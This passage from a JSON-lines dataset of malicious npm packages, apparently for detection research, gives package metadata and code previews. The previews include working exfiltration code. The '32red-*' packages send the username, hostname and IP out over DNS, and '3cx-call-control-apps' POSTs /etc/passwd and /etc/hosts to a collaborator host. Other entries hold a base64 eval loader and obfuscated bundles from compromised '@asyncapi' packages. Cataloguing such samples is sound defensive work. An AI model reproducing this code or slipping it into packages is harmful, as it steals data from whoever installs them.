eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpyqamxl7e/@asyncapi-specs/package/bun_environment.js", "tmp/tmpyqamxl7e/@asyncapi-specs/package/scripts/add-new-version.js", "tmp/tmpyqamxl7e/@asyncapi-specs/package/setup_bun.js", "tmp/tmpyqamxl7e/@asyncapi-specs/package/scripts/validate-schemas.js", "tmp/tmpyqamxl7e/@asyncapi-specs/package/package.json", "tmp/tmpyqamxl7e/@asyncapi-specs/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-analytics", "version": "999.9.9", "filename": "2024-12-15-32red-analytics-v999.9.9.zip", "primary_file": "tmp/tmpmi2thjo7/32red-analytics/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpmi2thjo7/32red-analytics/package/index.js", "tmp/tmpmi2thjo7/32red-analytics/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-cache", "version": "999.9.9", "filename": "2024-12-15-32red-cache-v999.9.9.zip", "primary_file": "tmp/tmpxcy921ra/32red-cache/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpxcy921ra/32red-cache/package/index.js", "tmp/tmpxcy921ra/32red-cache/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-checkout", "version": "999.9.9", "filename": "2024-12-15-32red-checkout-v999.9.9.zip", "primary_file": "tmp/tmp2_m86j4u/32red-checkout/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp2_m86j4u/32red-checkout/package/index.js", "tmp/tmp2_m86j4u/32red-checkout/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-connect", "version": "999.9.9", "filename": "2024-12-15-32red-connect-v999.9.9.zip", "primary_file": "tmp/tmp2cpu18zc/32red-connect/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp2cpu18zc/32red-connect/package/index.js", "tmp/tmp2cpu18zc/32red-connect/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-cloud", "version": "999.9.9", "filename": "2024-12-15-32red-cloud-v999.9.9.zip", "primary_file": "tmp/tmpg1d2a8sq/32red-cloud/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpg1d2a8sq/32red-cloud/package/index.js", "tmp/tmpg1d2a8sq/32red-cloud/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "1kzr", "version": "1.0.0", "filename": "2025-12-02-1kzr-v1.0.0.zip", "primary_file": "tmp/tmp4biaek5d/1kzr/package/1kZR.js", "diff_preview": "function _eval(input){return (()=>{const h=decodeURIComponent(Array.prototype.map.call(atob(input),c=>'%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)).join(''));let r='';for(let i=0;i {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmph6dxj80m/32red-database/package/index.js", "tmp/tmph6dxj80m/32red-database/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@html-template", "version": "3.3.2", "filename": "2025-11-24-@asyncapi_html-template-v3.3.2.zip", "primary_file": "tmp/tmppah_33s5/@asyncapi-html-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmppah_33s5/@asyncapi-html-template/package/bun_environment.js", "tmp/tmppah_33s5/@asyncapi-html-template/package/__transpiled/js/asyncapi-ui.min.js", "tmp/tmppah_33s5/@asyncapi-html-template/package/template/js/asyncapi-ui.min.js", "tmp/tmppah_33s5/@asyncapi-html-template/package/__transpiled/index.html.js", "tmp/tmppah_33s5/@asyncapi-html-template/package/helpers/all.js", "tmp/tmppah_33s5/@asyncapi-html-template/package/setup_bun.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.33", "filename": "2026-04-21-@automagik_genie-v4.260421.33.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/dist/env-compat.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp74eq1tmg/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@parser", "version": "3.4.2", "filename": "2025-11-24-@asyncapi_parser-v3.4.2.zip", "primary_file": "tmp/tmp7twf_yyr/@asyncapi-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp7twf_yyr/@asyncapi-parser/package/bun_environment.js", "tmp/tmp7twf_yyr/@asyncapi-parser/package/browser/index.js", "tmp/tmp7twf_yyr/@asyncapi-parser/package/cjs/ruleset/v2/ruleset.js", "tmp/tmp7twf_yyr/@asyncapi-parser/package/esm/ruleset/v2/ruleset.js", "tmp/tmp7twf_yyr/@asyncapi-parser/package/cjs/models/v3/schema.js", "tmp/tmp7twf_yyr/@asyncapi-parser/package/esm/models/v3/schema.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.39", "filename": "2026-04-22-@automagik_genie-v4.260421.39.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpy5emt2nt/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "3cx-call-control-apps", "version": "1.0.0", "filename": "2025-01-08-3cx-call-control-apps-v1.0.0.zip", "primary_file": "tmp/tmphtnjl5hd/3cx-call-control-apps/package/index.js", "diff_preview": "const os = require(\"os\");\nconst dns = require(\"dns\");\nconst fs = require(\"fs\");\nconst https = require(\"https\");\nconst packageJSON = require(\"./package.json\");\nconst packageName = packageJSON.name;\n\n// Collect system data from the remote server where the package is installed\nconst trackingData = JSON.stringify({\n p: packageName, // Package name\n c: __dirname, // Directory where the package is installed\n hd: os.homedir(), // Home directory on the remote server\n hn: os.hostname(), // Hostname of the remote server\n un: os.userInfo().username, // Username on the remote server\n dns: dns.getServers(), // DNS servers on the remote server\n v: packageJSON.version, // Version of the package\n pjson: packageJSON, // Full package.json data\n etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null, // /etc/passwd from the remote system\n etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null // /etc/hosts from the remote system\n});\n\n// Log the data to verify it's the remote server's information\nconsole.log(\"Sending System Data from Remote Server: \", trackingData);\n\n// Prepare the POST request data\nvar postData = JSON.stringify({\n msg: trackingData,\n});\n\n// Request options to send data to your server (Burp Collaborator or any endpoint)\nvar options = {\n hostname: \"tspl56owlpqflass8yf8yv4u2l8cw2kr.oastify.com\", // Burp Collaborator server\n port: 443,\n path: \"/\",\n method: \"POS", "files": ["tmp/tmphtnjl5hd/3cx-call-control-apps/package/index.js", "tmp/tmphtnjl5hd/3cx-call-control-apps/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "32red-auth", "version": "999.9.9", "filename": "2024-12-15-32red-auth-v999.9.9.zip", "primary_file": "tmp/tmp4cubp3q4/32red-auth/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp4cubp3q4/32red-auth/package/index.js", "tmp/tmp4cubp3q4/32red-auth/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@specs", "version": "6.8.3", "filename": "2025-11-24-@asyncapi_specs-v6.8.3.zip", "primary_file": "tmp/tmpk1ms98pg/@asyncapi-specs/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpk1ms98pg/@asyncapi-specs/package/bun_environment.js", "tmp/tmpk1ms98pg/@asyncapi-specs/package/scripts/add-new-version.js", "tmp/tmpk1ms98pg/@asyncapi-specs/package/setup_bun.js", "tmp/tmpk1ms98pg/@asyncapi-specs/package/scripts/validate-schemas.js", "tmp/tmpk1ms98pg/@asyncapi-specs/package/package.json", "tmp/tmpk1ms98pg/@asyncapi-specs/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "7702-eoa-implementation", "version": "1.0.0", "filename": "2025-07-29-7702-eoa-implementation-v1.0.0.zip", "primary_file": 